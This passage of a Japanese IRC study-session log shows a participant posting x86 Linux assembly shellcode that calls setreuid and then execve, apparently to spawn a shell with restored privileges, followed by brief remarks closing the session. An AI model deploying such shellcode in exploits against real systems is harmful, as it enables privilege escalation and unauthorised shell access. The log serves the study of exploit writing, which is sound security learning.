[Defolos] xorl %ebx, %ebx 00:21 [Defolos] xorl %ecx, %ecx 00:21 [Defolos] movb $70, %al 00:21 [Defolos] int $0x80 00:21 [Defolos] 00:21 [Defolos] jmp ONE 00:21 [Defolos] 00:21 [Defolos] TWO: 00:21 [Defolos] popl %ebx 00:21 [Defolos] xorl %eax, %eax 00:21 [Defolos] movl %eax, 7(%ebx) 00:21 [Defolos] mov %ebx, 8(%ebx) 00:21 [Defolos] mov %eax, 12(%ebx) 00:21 [Defolos] 00:21 [Defolos] mov $11, %al 00:21 [Defolos] leal 8(%ebx), %ecx 00:21 [Defolos] leal 12(%ebx), %edx 00:21 [Defolos] int $0x80 00:21 [Defolos] こんな感じです 00:21 [Defolos] 一番始めにsetreuidの処理を持ってきました 00:22 [Defolos] でも、pushやesiへの待避のほうが考えられてるって感じで良いですね 00:24 [Defolos] では、今日はこんなところで終わりです 00:24 [Defolos] sshサーバはもう少し立てておきますね 00:24 [IPUSIRON] ありがとうございました。 00:24 [Defolos] それでは、お疲れ様でした。また次回お会いしましょう == Log stop: 10/07/07 00:25:12 ==